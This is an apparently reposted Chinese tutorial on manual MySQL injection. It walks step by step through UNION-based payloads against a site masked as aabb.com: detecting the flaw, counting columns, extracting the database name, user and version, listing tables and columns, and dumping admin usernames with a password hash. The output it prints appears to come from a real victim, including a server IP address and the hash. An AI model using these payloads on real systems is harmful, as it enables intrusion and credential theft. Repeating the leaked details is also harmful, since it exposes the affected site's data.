Sql注入基礎_mysql注入


Mysql數據庫結構

數據庫A

  表名

    列名

      數據

數據庫B

  表名

    列名

 

      數據

 

Mysql5.0以上自帶數據庫:information_schema

information_schema:存儲mysql下所有信息的數據庫(數據庫名,表名,列名)

 

參數及解釋

database():數據庫名

user():數據庫用戶

version():數據庫版本

@@version_compile_os:操作系統

符號“.”代表下一級的意思

information_schema.tables

information_schema數據庫下的tables表名,含義:存儲所有數據庫下的表名信息的表。

 

information_schema.columns

information_schema數據庫下的columns表名,含義:存儲所有數據庫下的列名信息的表。

 

Table_schema:數據庫名

Table_name:表名

Column_name:列名

 手工實例,aabb代替網站

判斷存在注入:
http://www.aabb.com/news.php?id=6811 and 1=1正常
http://www.aabb.com/news.php?id=6811 and 1=2異常

判斷字段:
http://www.aabb.com/news.php?id=6811 order by 42正常
http://www.aabb.com/news.php?id=6811 order by 42異常


聯合查詢:
http://www.aabb.com/news.php?id=-6811 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42

					報錯5,6,15,20,24


查詢相關內容:

可以在顯位的位置插入的預設函數;
User() 查看用戶  
database()  --查看數據庫名稱     
Version() --查看數據庫版本   
@@datadir --數據庫路徑
@@version_compile_os--操作系統版本   
system_user() --系統用戶名  
current_user()--當前用戶名   
session_user()--連接數據庫的用戶名

http://www.aabb.com/news.php?id=-6811 UNION SELECT 1,2,3,4,database(),user(),7,8,9,10,11,12,13,14,version(),16,17,18,19,@@version_compile_os,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42

			數據庫:bdm113183329_db    用戶:bdm113183329@123.56.134.176    版本:5.1.48-log     操作系統:unknown-linux-gnu 



查詢所有數據庫:http://www.aabb.com/news.php?id=-6811 UNION SELECT 1,2,3,4,
group_concat(schema_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42 from information_schema.schemata

			只有兩個數據庫 information_schema, bdm113183329_db




查尋bdm113183329_db下所有的數據表:
				bdm113183329_db ===》 0x62646D3131333138333332395F6462
				
http://www.aabb.com/news.php?id=-6811 UNION SELECT 1,2,3,4,
group_concat(table_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42 from information_schema.tables where table_schema=0x62646D3131333138333332395F6462

			admin,admin_copy,ads,area,article,article_copy,books,catalog,city,contents,hezuos,paimai,paimaihui,
			province,user_info,user_info_copy,works,xhad_ad,xhad_admin,xhad_biz,xhad_config,xhad_day,xhad_hour,
			xhad_ip,xhad_month,xhad_type,xhad_year,ysj_dongtai,ysj_wzpl,zhanlan


查詢admin表下的列:
	http://www.aabb.com/news.php?id=-6811 UNION SELECT 1,2,3,4,
group_concat(column_name),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42 from information_schema.columns where table_name=0x61646D696E

	a_id,a_user,a_pass,a_flag


查詢每列數據:
	http://www.aabb.com/news.php?id=-6811 UNION SELECT 1,2,3,4,group_concat(a_user,0x5c,a_pass),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42 from admin

	admin\86aba080f25bb66edd1ab981e4ecbe68
	admin\ysjaabb 





		


	
	

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM